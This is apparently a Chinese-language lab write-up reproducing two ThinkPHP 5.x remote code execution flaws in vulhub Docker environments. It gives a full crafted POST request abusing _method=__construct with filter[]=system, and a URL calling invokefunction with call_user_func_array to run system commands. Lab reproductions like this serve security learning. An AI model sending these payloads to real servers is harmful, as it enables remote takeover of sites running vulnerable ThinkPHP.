ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
首先启用docker环境
root@null-virtual-machine:/home/null# cd vulhub-master/thinkphp/5.0.23-rce/ root@null-virtual-machine:/home/null/vulhub-master/thinkphp/5.0.23-rce# docker-compose up -d
启用后访问IP:8080即可出现如下页面:
然后Burp修改抓包,修改数据包如下
POST /index.php?s=captcha HTTP/1.1 Host: localhost Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 72 ![](https://www.www.zyiz.net/i/l/?n=20&i=blog/1973722/202108/1973722-20210826181255526-844168674.png) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
可以看到当前路径为/var/www/public
远程代码执行成功
首先启用docker环境
root@null-virtual-machine:/home/null/vulhub-master/thinkphp/5-rce# docker-compose up -d
启用后访问IP:8080出现如下页面
构造URL请求payload,出现如下结果:
http://192.168.94.129:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
至此远程代码执行成功